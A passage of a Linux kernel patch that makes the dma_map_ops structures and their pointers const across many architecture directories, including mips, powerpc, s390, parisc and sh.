@@ -90,11 +90,11 @@ void __init pci_iommu_alloc(void)
 {
 	dma_ops = &intel_dma_ops;
 
-	dma_ops->sync_single_for_cpu = machvec_dma_sync_single;
-	dma_ops->sync_sg_for_cpu = machvec_dma_sync_sg;
-	dma_ops->sync_single_for_device = machvec_dma_sync_single;
-	dma_ops->sync_sg_for_device = machvec_dma_sync_sg;
-	dma_ops->dma_supported = iommu_dma_supported;
+	intel_dma_ops.sync_single_for_cpu = machvec_dma_sync_single;
+	intel_dma_ops.sync_sg_for_cpu = machvec_dma_sync_sg;
+	intel_dma_ops.sync_single_for_device = machvec_dma_sync_single;
+	intel_dma_ops.sync_sg_for_device = machvec_dma_sync_sg;
+	intel_dma_ops.dma_supported = iommu_dma_supported;
 
 	/*
 	 * The order of these functions is important for
diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
index 2933208c0285..a14989dacded 100644
--- a/arch/ia64/kernel/pci-swiotlb.c
+++ b/arch/ia64/kernel/pci-swiotlb.c
@@ -30,7 +30,7 @@ static void ia64_swiotlb_free_coherent(struct device *dev, size_t size,
 	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
 }
 
-struct dma_map_ops swiotlb_dma_ops = {
+const struct dma_map_ops swiotlb_dma_ops = {
 	.alloc = ia64_swiotlb_alloc_coherent,
 	.free = ia64_swiotlb_free_coherent,
 	.map_page = swiotlb_map_page,
diff --git a/arch/m32r/include/asm/device.h b/arch/m32r/include/asm/device.h
index 4a9f35e0973f..7955a9799466 100644
--- a/arch/m32r/include/asm/device.h
+++ b/arch/m32r/include/asm/device.h
@@ -4,7 +4,7 @@
  * This file is released under the GPLv2
  */
 struct dev_archdata {
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 };
 
 struct pdev_archdata {
diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
index 2c43a77fe942..99c43d2f05dc 100644
--- a/arch/m32r/include/asm/dma-mapping.h
+++ b/arch/m32r/include/asm/dma-mapping.h
@@ -10,7 +10,7 @@
 
 #define DMA_ERROR_CODE (~(dma_addr_t)0x0)
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
index 96c536194287..863509939d5a 100644
--- a/arch/m68k/include/asm/dma-mapping.h
+++ b/arch/m68k/include/asm/dma-mapping.h
@@ -1,9 +1,9 @@
 #ifndef _M68K_DMA_MAPPING_H
 #define _M68K_DMA_MAPPING_H
 
-extern struct dma_map_ops m68k_dma_ops;
+extern const struct dma_map_ops m68k_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
         return &m68k_dma_ops;
 }
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index 07070065a425..0fc5dabb4a42 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -158,7 +158,7 @@ static int m68k_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 	return nents;
 }
 
-struct dma_map_ops m68k_dma_ops = {
+const struct dma_map_ops m68k_dma_ops = {
 	.alloc			= m68k_dma_alloc,
 	.free			= m68k_dma_free,
 	.map_page		= m68k_dma_map_page,
diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index 27af5d479ce6..c156a7ac732f 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -1,9 +1,9 @@
 #ifndef _ASM_METAG_DMA_MAPPING_H
 #define _ASM_METAG_DMA_MAPPING_H
 
-extern struct dma_map_ops metag_dma_ops;
+extern const struct dma_map_ops metag_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &metag_dma_ops;
 }
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index 91968d92652b..f0ab3a498328 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -575,7 +575,7 @@ static void metag_dma_sync_sg_for_device(struct device *dev,
 		dma_sync_for_device(sg_virt(sg), sg->length, direction);
 }
 
-struct dma_map_ops metag_dma_ops = {
+const struct dma_map_ops metag_dma_ops = {
 	.alloc			= metag_dma_alloc,
 	.free			= metag_dma_free,
 	.map_page		= metag_dma_map_page,
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index 1768d4bdc8d3..c7faf2fb51d6 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -36,9 +36,9 @@
 /*
  * Available generic sets of operations
  */
-extern struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_direct_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &dma_direct_ops;
 }
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 818daf230eb4..12e093a03e60 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -187,7 +187,7 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 #endif
 }
 
-struct dma_map_ops dma_direct_ops = {
+const struct dma_map_ops dma_direct_ops = {
 	.alloc		= dma_direct_alloc_coherent,
 	.free		= dma_direct_free_coherent,
 	.mmap		= dma_direct_mmap_coherent,
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index fd69528b24fb..897d32c888ee 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -205,7 +205,7 @@ static phys_addr_t octeon_unity_dma_to_phys(struct device *dev, dma_addr_t daddr
 }
 
 struct octeon_dma_map_ops {
-	struct dma_map_ops dma_map_ops;
+	const struct dma_map_ops dma_map_ops;
 	dma_addr_t (*phys_to_dma)(struct device *dev, phys_addr_t paddr);
 	phys_addr_t (*dma_to_phys)(struct device *dev, dma_addr_t daddr);
 };
@@ -333,7 +333,7 @@ static struct octeon_dma_map_ops _octeon_pci_dma_map_ops = {
 	},
 };
 
-struct dma_map_ops *octeon_pci_dma_map_ops;
+const struct dma_map_ops *octeon_pci_dma_map_ops;
 
 void __init octeon_pci_dma_init(void)
 {
diff --git a/arch/mips/include/asm/device.h b/arch/mips/include/asm/device.h
index 21c2082a0dfb..ebc5c1265473 100644
--- a/arch/mips/include/asm/device.h
+++ b/arch/mips/include/asm/device.h
@@ -10,7 +10,7 @@ struct dma_map_ops;
 
 struct dev_archdata {
 	/* DMA operations on that device */
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 
 #ifdef CONFIG_DMA_PERDEV_COHERENT
 	/* Non-zero if DMA is coherent with CPU caches */
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 7aa71b9b0258..b59b084a7569 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -9,9 +9,9 @@
 #include <dma-coherence.h>
 #endif
 
-extern struct dma_map_ops *mips_dma_map_ops;
+extern const struct dma_map_ops *mips_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index 460042ee5d6f..9110988b92a1 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -65,7 +65,7 @@ dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 
 struct dma_map_ops;
-extern struct dma_map_ops *octeon_pci_dma_map_ops;
+extern const struct dma_map_ops *octeon_pci_dma_map_ops;
 extern char *octeon_swiotlb;
 
 #endif /* __ASM_MACH_CAVIUM_OCTEON_DMA_COHERENCE_H */
diff --git a/arch/mips/include/asm/netlogic/common.h b/arch/mips/include/asm/netlogic/common.h
index be52c2125d71..e0717d10e650 100644
--- a/arch/mips/include/asm/netlogic/common.h
+++ b/arch/mips/include/asm/netlogic/common.h
@@ -88,7 +88,7 @@ extern struct plat_smp_ops nlm_smp_ops;
 extern char nlm_reset_entry[], nlm_reset_entry_end[];
 
 /* SWIOTLB */
-extern struct dma_map_ops nlm_swiotlb_dma_ops;
+extern const struct dma_map_ops nlm_swiotlb_dma_ops;
 
 extern unsigned int nlm_threads_per_core;
 extern cpumask_t nlm_cpumask;
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index aab4fd681e1f..7296df043d92 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -122,7 +122,7 @@ phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
 	return daddr;
 }
 
-static struct dma_map_ops loongson_dma_map_ops = {
+static const struct dma_map_ops loongson_dma_map_ops = {
 	.alloc = loongson_dma_alloc_coherent,
 	.free = loongson_dma_free_coherent,
 	.map_page = loongson_dma_map_page,
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index a39c36af97ad..1cb84472cb58 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -417,7 +417,7 @@ void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 
 EXPORT_SYMBOL(dma_cache_sync);
 
-static struct dma_map_ops mips_default_dma_map_ops = {
+static const struct dma_map_ops mips_default_dma_map_ops = {
 	.alloc = mips_dma_alloc_coherent,
 	.free = mips_dma_free_coherent,
 	.mmap = mips_dma_mmap,
@@ -433,7 +433,7 @@ static struct dma_map_ops mips_default_dma_map_ops = {
 	.dma_supported = mips_dma_supported
 };
 
-struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
+const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
 EXPORT_SYMBOL(mips_dma_map_ops);
 
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
diff --git a/arch/mips/netlogic/common/nlm-dma.c b/arch/mips/netlogic/common/nlm-dma.c
index 0630693bec2a..0ec9d9da6d51 100644
--- a/arch/mips/netlogic/common/nlm-dma.c
+++ b/arch/mips/netlogic/common/nlm-dma.c
@@ -67,7 +67,7 @@ static void nlm_dma_free_coherent(struct device *dev, size_t size,
 	swiotlb_free_coherent(dev, size, vaddr, dma_handle);
 }
 
-struct dma_map_ops nlm_swiotlb_dma_ops = {
+const struct dma_map_ops nlm_swiotlb_dma_ops = {
 	.alloc = nlm_dma_alloc_coherent,
 	.free = nlm_dma_free_coherent,
 	.map_page = swiotlb_map_page,
diff --git a/arch/mn10300/include/asm/dma-mapping.h b/arch/mn10300/include/asm/dma-mapping.h
index 1dcd44757f32..564e3927e005 100644
--- a/arch/mn10300/include/asm/dma-mapping.h
+++ b/arch/mn10300/include/asm/dma-mapping.h
@@ -14,9 +14,9 @@
 #include <asm/cache.h>
 #include <asm/io.h>
 
-extern struct dma_map_ops mn10300_dma_ops;
+extern const struct dma_map_ops mn10300_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &mn10300_dma_ops;
 }
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index 4f4b9029f0ea..86108d2496b3 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -121,7 +121,7 @@ static int mn10300_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-struct dma_map_ops mn10300_dma_ops = {
+const struct dma_map_ops mn10300_dma_ops = {
 	.alloc			= mn10300_dma_alloc,
 	.free			= mn10300_dma_free,
 	.map_page		= mn10300_dma_map_page,
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
index bec8ac8e6ad2..aa00d839a64b 100644
--- a/arch/nios2/include/asm/dma-mapping.h
+++ b/arch/nios2/include/asm/dma-mapping.h
@@ -10,9 +10,9 @@
 #ifndef _ASM_NIOS2_DMA_MAPPING_H
 #define _ASM_NIOS2_DMA_MAPPING_H
 
-extern struct dma_map_ops nios2_dma_ops;
+extern const struct dma_map_ops nios2_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &nios2_dma_ops;
 }
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index f6a5dcf9d682..7040c1adbb5e 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -192,7 +192,7 @@ static void nios2_dma_sync_sg_for_device(struct device *dev,
 
 }
 
-struct dma_map_ops nios2_dma_ops = {
+const struct dma_map_ops nios2_dma_ops = {
 	.alloc			= nios2_dma_alloc,
 	.free			= nios2_dma_free,
 	.map_page		= nios2_dma_map_page,
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
index 1f260bccb368..88acbedb4947 100644
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ b/arch/openrisc/include/asm/dma-mapping.h
@@ -28,9 +28,9 @@
 
 #define DMA_ERROR_CODE		(~(dma_addr_t)0x0)
 
-extern struct dma_map_ops or1k_dma_map_ops;
+extern const struct dma_map_ops or1k_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &or1k_dma_map_ops;
 }
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 906998bac957..b10369b7e31b 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -232,7 +232,7 @@ or1k_sync_single_for_device(struct device *dev,
 		mtspr(SPR_DCBFR, cl);
 }
 
-struct dma_map_ops or1k_dma_map_ops = {
+const struct dma_map_ops or1k_dma_map_ops = {
 	.alloc = or1k_dma_alloc,
 	.free = or1k_dma_free,
 	.map_page = or1k_map_page,
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 16e024602737..1749073e44fc 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -21,13 +21,13 @@
 */
 
 #ifdef CONFIG_PA11
-extern struct dma_map_ops pcxl_dma_ops;
-extern struct dma_map_ops pcx_dma_ops;
+extern const struct dma_map_ops pcxl_dma_ops;
+extern const struct dma_map_ops pcx_dma_ops;
 #endif
 
-extern struct dma_map_ops *hppa_dma_ops;
+extern const struct dma_map_ops *hppa_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return hppa_dma_ops;
 }
diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 700e2d2da096..fa78419100c8 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -40,7 +40,7 @@
 #include <asm/parisc-device.h>
 
 /* See comments in include/asm-parisc/pci.h */
-struct dma_map_ops *hppa_dma_ops __read_mostly;
+const struct dma_map_ops *hppa_dma_ops __read_mostly;
 EXPORT_SYMBOL(hppa_dma_ops);
 
 static struct device root = {
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 697c53543a4d..5f0067a62738 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -572,7 +572,7 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
 }
 
-struct dma_map_ops pcxl_dma_ops = {
+const struct dma_map_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
@@ -608,7 +608,7 @@ static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
 	return;
 }
 
-struct dma_map_ops pcx_dma_ops = {
+const struct dma_map_ops pcx_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc =		pcx_dma_alloc,
 	.free =			pcx_dma_free,
diff --git a/arch/powerpc/include/asm/device.h b/arch/powerpc/include/asm/device.h
index 406c2b1ff82d..49cbb0fca233 100644
--- a/arch/powerpc/include/asm/device.h
+++ b/arch/powerpc/include/asm/device.h
@@ -21,7 +21,7 @@ struct iommu_table;
  */
 struct dev_archdata {
 	/* DMA operations on that device */
-	struct dma_map_ops	*dma_ops;
+	const struct dma_map_ops	*dma_ops;
 
 	/*
 	 * These two used to be a union. However, with the hybrid ops we need
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 84e3f8dd5e4f..2ec3eadf336f 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -76,9 +76,9 @@ static inline unsigned long device_to_mask(struct device *dev)
 #ifdef CONFIG_PPC64
 extern struct dma_map_ops dma_iommu_ops;
 #endif
-extern struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_direct_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	/* We don't handle the NULL dev case for ISA for now. We could
 	 * do it via an out of line call but it is not needed for now. The
@@ -91,7 +91,7 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return dev->archdata.dma_ops;
 }
 
-static inline void set_dma_ops(struct device *dev, struct dma_map_ops *ops)
+static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
 {
 	dev->archdata.dma_ops = ops;
 }
diff --git a/arch/powerpc/include/asm/pci.h b/arch/powerpc/include/asm/pci.h
index e9bd6cf0212f..93eded8d3843 100644
--- a/arch/powerpc/include/asm/pci.h
+++ b/arch/powerpc/include/asm/pci.h
@@ -53,8 +53,8 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 }
 
 #ifdef CONFIG_PCI
-extern void set_pci_dma_ops(struct dma_map_ops *dma_ops);
-extern struct dma_map_ops *get_pci_dma_ops(void);
+extern void set_pci_dma_ops(const struct dma_map_ops *dma_ops);
+extern const struct dma_map_ops *get_pci_dma_ops(void);
 #else	/* CONFIG_PCI */
 #define set_pci_dma_ops(d)
 #define get_pci_dma_ops()	NULL
diff --git a/arch/powerpc/include/asm/swiotlb.h b/arch/powerpc/include/asm/swiotlb.h
index de99d6e29430..01d45a5fd00b 100644
--- a/arch/powerpc/include/asm/swiotlb.h
+++ b/arch/powerpc/include/asm/swiotlb.h
@@ -13,7 +13,7 @@
 
 #include <linux/swiotlb.h>
 
-extern struct dma_map_ops swiotlb_dma_ops;
+extern const struct dma_map_ops swiotlb_dma_ops;
 
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index c6689f658b50..d0ea7860e02b 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -46,7 +46,7 @@ static u64 swiotlb_powerpc_get_required(struct device *dev)
  * map_page, and unmap_page on highmem, use normal dma_ops
  * for everything else.
  */
-struct dma_map_ops swiotlb_dma_ops = {
+const struct dma_map_ops swiotlb_dma_ops = {
 	.alloc = __dma_direct_alloc_coherent,
 	.free = __dma_direct_free_coherent,
 	.mmap = dma_direct_mmap_coherent,
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 6877e3fa95bb..03b98f1f98ec 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -274,7 +274,7 @@ static inline void dma_direct_sync_single(struct device *dev,
 }
 #endif
 
-struct dma_map_ops dma_direct_ops = {
+const struct dma_map_ops dma_direct_ops = {
 	.alloc				= dma_direct_alloc_coherent,
 	.free				= dma_direct_free_coherent,
 	.mmap				= dma_direct_mmap_coherent,
@@ -316,7 +316,7 @@ EXPORT_SYMBOL(dma_set_coherent_mask);
 
 int __dma_set_mask(struct device *dev, u64 dma_mask)
 {
-	struct dma_map_ops *dma_ops = get_dma_ops(dev);
+	const struct dma_map_ops *dma_ops = get_dma_ops(dev);
 
 	if ((dma_ops != NULL) && (dma_ops->set_dma_mask != NULL))
 		return dma_ops->set_dma_mask(dev, dma_mask);
@@ -344,7 +344,7 @@ EXPORT_SYMBOL(dma_set_mask);
 
 u64 __dma_get_required_mask(struct device *dev)
 {
-	struct dma_map_ops *dma_ops = get_dma_ops(dev);
+	const struct dma_map_ops *dma_ops = get_dma_ops(dev);
 
 	if (unlikely(dma_ops == NULL))
 		return 0;
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 74bec5498972..09db4778435c 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -59,14 +59,14 @@ resource_size_t isa_mem_base;
 EXPORT_SYMBOL(isa_mem_base);
 
 
-static struct dma_map_ops *pci_dma_ops = &dma_direct_ops;
+static const struct dma_map_ops *pci_dma_ops = &dma_direct_ops;
 
-void set_pci_dma_ops(struct dma_map_ops *dma_ops)
+void set_pci_dma_ops(const struct dma_map_ops *dma_ops)
 {
 	pci_dma_ops = dma_ops;
 }
 
-struct dma_map_ops *get_pci_dma_ops(void)
+const struct dma_map_ops *get_pci_dma_ops(void)
 {
 	return pci_dma_ops;
 }
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index 7ff51f96a00e..e1413e69e5fe 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -651,7 +651,7 @@ static int dma_fixed_dma_supported(struct device *dev, u64 mask)
 
 static int dma_set_mask_and_switch(struct device *dev, u64 dma_mask);
 
-static struct dma_map_ops dma_iommu_fixed_ops = {
+static const struct dma_map_ops dma_iommu_fixed_ops = {
 	.alloc          = dma_fixed_alloc_coherent,
 	.free           = dma_fixed_free_coherent,
 	.map_sg         = dma_fixed_map_sg,
@@ -1172,7 +1172,7 @@ __setup("iommu_fixed=", setup_iommu_fixed);
 
 static u64 cell_dma_get_required_mask(struct device *dev)
 {
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 
 	if (!dev->dma_mask)
 		return 0;
diff --git a/arch/powerpc/platforms/powernv/npu-dma.c b/arch/powerpc/platforms/powernv/npu-dma.c
index 73b155fd4481..1c383f38031d 100644
--- a/arch/powerpc/platforms/powernv/npu-dma.c
+++ b/arch/powerpc/platforms/powernv/npu-dma.c
@@ -115,7 +115,7 @@ static u64 dma_npu_get_required_mask(struct device *dev)
 	return 0;
 }
 
-static struct dma_map_ops dma_npu_ops = {
+static const struct dma_map_ops dma_npu_ops = {
 	.map_page		= dma_npu_map_page,
 	.map_sg			= dma_npu_map_sg,
 	.alloc			= dma_npu_alloc,
diff --git a/arch/powerpc/platforms/ps3/system-bus.c b/arch/powerpc/platforms/ps3/system-bus.c
index 8af1c15aef85..c81450d98794 100644
--- a/arch/powerpc/platforms/ps3/system-bus.c
+++ b/arch/powerpc/platforms/ps3/system-bus.c
@@ -701,7 +701,7 @@ static u64 ps3_dma_get_required_mask(struct device *_dev)
 	return DMA_BIT_MASK(32);
 }
 
-static struct dma_map_ops ps3_sb_dma_ops = {
+static const struct dma_map_ops ps3_sb_dma_ops = {
 	.alloc = ps3_alloc_coherent,
 	.free = ps3_free_coherent,
 	.map_sg = ps3_sb_map_sg,
@@ -712,7 +712,7 @@ static struct dma_map_ops ps3_sb_dma_ops = {
 	.unmap_page = ps3_unmap_page,
 };
 
-static struct dma_map_ops ps3_ioc0_dma_ops = {
+static const struct dma_map_ops ps3_ioc0_dma_ops = {
 	.alloc = ps3_alloc_coherent,
 	.free = ps3_free_coherent,
 	.map_sg = ps3_ioc0_map_sg,
diff --git a/arch/powerpc/platforms/pseries/ibmebus.c b/arch/powerpc/platforms/pseries/ibmebus.c
index 614c28537141..2e36a0b8944a 100644
--- a/arch/powerpc/platforms/pseries/ibmebus.c
+++ b/arch/powerpc/platforms/pseries/ibmebus.c
@@ -136,7 +136,7 @@ static u64 ibmebus_dma_get_required_mask(struct device *dev)
 	return DMA_BIT_MASK(64);
 }
 
-static struct dma_map_ops ibmebus_dma_ops = {
+static const struct dma_map_ops ibmebus_dma_ops = {
 	.alloc              = ibmebus_alloc_coherent,
 	.free               = ibmebus_free_coherent,
 	.map_sg             = ibmebus_map_sg,
diff --git a/arch/powerpc/platforms/pseries/vio.c b/arch/powerpc/platforms/pseries/vio.c
index 2c8fb3ec989e..720493932486 100644
--- a/arch/powerpc/platforms/pseries/vio.c
+++ b/arch/powerpc/platforms/pseries/vio.c
@@ -615,7 +615,7 @@ static u64 vio_dma_get_required_mask(struct device *dev)
         return dma_iommu_ops.get_required_mask(dev);
 }
 
-static struct dma_map_ops vio_dma_mapping_ops = {
+static const struct dma_map_ops vio_dma_mapping_ops = {
 	.alloc             = vio_dma_iommu_alloc_coherent,
 	.free              = vio_dma_iommu_free_coherent,
 	.mmap		   = dma_direct_mmap_coherent,
diff --git a/arch/s390/include/asm/device.h b/arch/s390/include/asm/device.h
index 4a9f35e0973f..7955a9799466 100644
--- a/arch/s390/include/asm/device.h
+++ b/arch/s390/include/asm/device.h
@@ -4,7 +4,7 @@
  * This file is released under the GPLv2
  */
 struct dev_archdata {
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 };
 
 struct pdev_archdata {
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index ffaba07f50ab..2776d205b1ff 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -10,9 +10,9 @@
 
 #define DMA_ERROR_CODE		(~(dma_addr_t) 0x0)
 
-extern struct dma_map_ops s390_pci_dma_ops;
+extern const struct dma_map_ops s390_pci_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
index 1d7a9c71944a..9081a57fa340 100644
--- a/arch/s390/pci/pci_dma.c
+++ b/arch/s390/pci/pci_dma.c
@@ -650,7 +650,7 @@ static int __init dma_debug_do_init(void)
 }
 fs_initcall(dma_debug_do_init);
 
-struct dma_map_ops s390_pci_dma_ops = {
+const struct dma_map_ops s390_pci_dma_ops = {
 	.alloc		= s390_dma_alloc,
 	.free		= s390_dma_free,
 	.map_sg		= s390_dma_map_sg,
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 0052ad40e86d..a7382c34c241 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -1,10 +1,10 @@
 #ifndef __ASM_SH_DMA_MAPPING_H
 #define __ASM_SH_DMA_MAPPING_H
 
-extern struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *dma_ops;
 extern void no_iommu_init(void);
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return dma_ops;
 }
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 47fee3b6e29c..d24c707b2181 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -65,7 +65,7 @@ static void nommu_sync_sg(struct device *dev, struct scatterlist *sg,
 }
 #endif
 
-struct dma_map_ops nommu_dma_ops = {
+const struct dma_map_ops nommu_dma_ops = {
 	.alloc			= dma_generic_alloc_coherent,
 	.free			= dma_generic_free_coherent,
 	.map_page		= nommu_map_page,
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 92b6976fde59..d1275adfa0ef 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -22,7 +22,7 @@
 
 #define PREALLOC_DMA_DEBUG_ENTRIES	4096
 
-struct dma_map_ops *dma_ops;
+const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 static int __init dma_init(void)
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 1180ae254154..3d2babc0c4c6 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -18,13 +18,13 @@ static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	 */
 }
 
